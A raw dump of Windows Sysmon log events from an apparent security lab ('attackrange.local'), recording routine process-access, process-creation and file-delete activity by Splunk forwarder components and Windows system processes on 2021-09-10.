Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.516{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719B-613B-300B-00000000F001}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.517{7BD73061-719B-613B-300B-00000000F001}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:19.172{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E3DEC9B6B7527E976EEFD56C2D2FDDF,SHA256=775E0DB6FDA03ACB0338986FA3C9789797501992AB012E753109F5F18B78874F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:19.018{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A93F7735BC7293A0249921F0D6D9B6D4,SHA256=A0CFF5DD08E36AFD7B0EBDB7B7DB22A03EA3A863F9E0B5FF507093CDFA300E05,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.875{7BD73061-719C-613B-320B-00000000F001}56646956C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719C-613B-320B-00000000F001}5664C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-719C-613B-320B-00000000F001}5664C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.688{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719C-613B-320B-00000000F001}5664C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.689{7BD73061-719C-613B-320B-00000000F001}5664C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000047989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.422{7BD73061-719C-613B-310B-00000000F001}58246656C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.313{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF3AC48C4A422CAE89178DACB616D425,SHA256=AF31FA4DB8632FB9C99DA7D8663A6A3D6E90DB1C953411D2CFA7E820FC4AC4C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:20.080{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A904C8ADCDD7165C8662A9ECBA503ED,SHA256=1CF828E6A1638E14D2C42C25B2B81F5A873C44FC5AD06D4E9E709CF421BF6C24,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719C-613B-310B-00000000F001}5824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-719C-613B-310B-00000000F001}5824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.188{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719C-613B-310B-00000000F001}5824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:20.189{7BD73061-719C-613B-310B-00000000F001}5824C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000048008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-719D-613B-330B-00000000F001}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-719D-613B-330B-00000000F001}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.797{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-719D-613B-330B-00000000F001}4928C:\Program 